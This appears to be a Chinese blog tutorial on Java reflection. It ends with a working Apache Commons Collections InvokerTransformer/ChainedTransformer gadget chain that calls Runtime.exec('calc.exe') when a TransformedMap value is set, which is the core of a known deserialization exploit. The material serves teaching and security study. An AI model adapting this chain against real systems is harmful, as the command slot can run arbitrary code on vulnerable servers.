• Java中的反射机制Reflection


    目录

    什么是反射?

    获取.class字节码文件对象

    获取该.class字节码文件对象的详细信息

    通过反射机制执行函数 

    反射链


    反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等。
    java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class。

    什么是反射?

    在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息。

    通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

    想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。

    获取.class字节码文件对象

    获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定。

    //方法一
    Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
    //方法二
    Class clazz2 = Student.class;  //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
    //方法三
    Student s=new Student();    //实例化Student对象
    Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段

    获取该.class字节码文件对象的详细信息

    当我们得到一个.class字节码文件对象,我们可以得到以下信息:

    • 类名 (含package路径)
    • 函数 (名称,参数类型,返回值)
    • 域 (名称,类型)
    • 实现的接口 (interfaces)

    使用 java.lang.reflect.*下的类来实现

    import java.lang.reflect.Constructor;
    import java.lang.reflect.Method;
    import java.text.DateFormat.Field;
    
    public class main 
    	public static void main(String[] args) throws Exception{
    		Object obj=new Student();  //Student实例
    		Class cls=obj.getClass();  //得到Student字节码对象
    	
    		//通过函数名和函数参数,得到函数
    		String methodName="setId";           //函数名字
    		Class[] par={int.class,String.class};  //函数参数
    		Method m=cls.getMethod(methodName, par);   //返回函数
    		//调用method
    		Object[]  paramters={123,"haha"};   //传递参数
    		m.invoke(obj,paramters);       //执行函数
    		
    		cls.getPackage();  //获取包信息
    		String str=cls.getSimpleName();   //Student ,获得该类的名字,不包含包名
    		String str2=cls.getName();       //my.Student,获得该类的名字,包含包名
    		Object obj2=cls.newInstance();    //创建一个实例,要求有一个不带参数的构造函数 
    		int modified=cls.getModifiers();  //获取cls对象的类修饰符
    		Class[] interfaces=cls.getInterfaces();  //获取实现的接口集合
    		Constructor[]  con=cls.getConstructors();  //获取构造函数的集合
    		Method[]  methods=cls.getMethods();  //获取函数列表
    		cls.getDeclaredAnnotations();  //获取私有函数(protected和private修饰的)
    		java.lang.reflect.Field[]  fields=cls.getFields();  //获取成员变量列表
    		cls.getDeclaredField(str2);  //获取私有变量(protected和private修饰的)
    	}
    }

    通过反射机制执行函数 

     如下,下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑。

    import java.lang.reflect.InvocationTargetException;
    public class main3 {
    	public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
    	     Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
    	     Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe");  //执行函数
    	}
    }

    运行代码,可以看到,执行了 calc.exe 的命令 

    反射链

    什么是反射链呢?

    我们来查看 org.apache.commons.collections.functors.InvokerTransformer.java 的源代码,这个接口实现了反射链,可以通过Java的反射机制来执行任意命令

    public class InvokerTransformer implements Transformer, Serializable {
          /*
              Input参数为要进行反射的对象,
              iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
              iArgs为对应方法的参数
              在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数    
        */
        private static final long serialVersionUID = -8653385846894047688L;
        private final String iMethodName;
        private final Class[] iParamTypes;
        private final Object[] iArgs;
        public static Transformer getInstance(String methodName) {
            if (methodName == null) {
                throw new IllegalArgumentException("The method to invoke must not be null");
            }
            return new InvokerTransformer(methodName);
        }
        public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
            if (methodName == null) {
                throw new IllegalArgumentException("The method to invoke must not be null");
            }
            if (((paramTypes == null) && (args != null))
                || ((paramTypes != null) && (args == null))
                || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
                throw new IllegalArgumentException("The parameter types must match the arguments");
            }
            if (paramTypes == null || paramTypes.length == 0) {
                return new InvokerTransformer(methodName);
            } else {
                paramTypes = (Class[]) paramTypes.clone();
                args = (Object[]) args.clone();
                return new InvokerTransformer(methodName, paramTypes, args);
            }
        }
        private InvokerTransformer(String methodName) {
            super();
            iMethodName = methodName;
            iParamTypes = null;
            iArgs = null;
        }
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);     
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
        private void writeObject(ObjectOutputStream os) throws IOException {
            FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
            os.defaultWriteObject();
        }
        private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
            FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
            is.defaultReadObject();
        }
    }

    然后,我们去实现这个接口,只需要传入方法名、参数类型和参数,即可调用任意函数。在这里,我们可以看到,先用ConstantTransformer() 获取了 Runtime 类,接着通过反射调用 getRuntime 函数,再调用 getRuntime 的 exec() 函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    public class main2 {
       public static void main(String[] args) {
    	 Transformer[] transformers=new Transformer[]{
    		new ConstantTransformer(Runtime.class),  //获得Runtime.class字节码文件
                    //通过反射,返回一个对象
    		new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),   
    		new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
    		new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
    		};
            //ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
    	Transformer transformedChain=new ChainedTransformer(transformers);
    	Map innerMap=new HashMap();
    	innerMap.put("value","value");
    	Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
    	Map.Entry entry=(Entry)outerMap.entrySet().iterator().next();
    	entry.setValue("test");  //修改值,触发执行
    	}
    }

    可以看到,当Map中的Value值被修改了,触发执行了Transformer的transform()方法,通过反射链调用了Runtime.getRuntime.exec("calc.exe") 命令

  • 相关阅读:
    豆瓣评论9.5的《Effective Python》,帮你解决80%难题!
    编程科普|你知道的关于 Python 的那些知识,可能全错了!
    为什么建议使用 Linux?从“白嫖”到精通,只需要这几步!
    交易如钓鱼
    知识图谱学习一:啥是知识图谱,用来干啥,怎么做?
    openpyxl 学习笔记
    使用A卡(AMD Radeon RX470)进行机器学习的失败经历
    activemq 控制台报错 java.lang.SecurityException: User name [system] or password is invalid.
    activemq 安装配置二
    activemq 安装配置一
  • 原文地址:https://www.cnblogs.com/csnd/p/11807724.html
Copyright © 2020-2023  润新知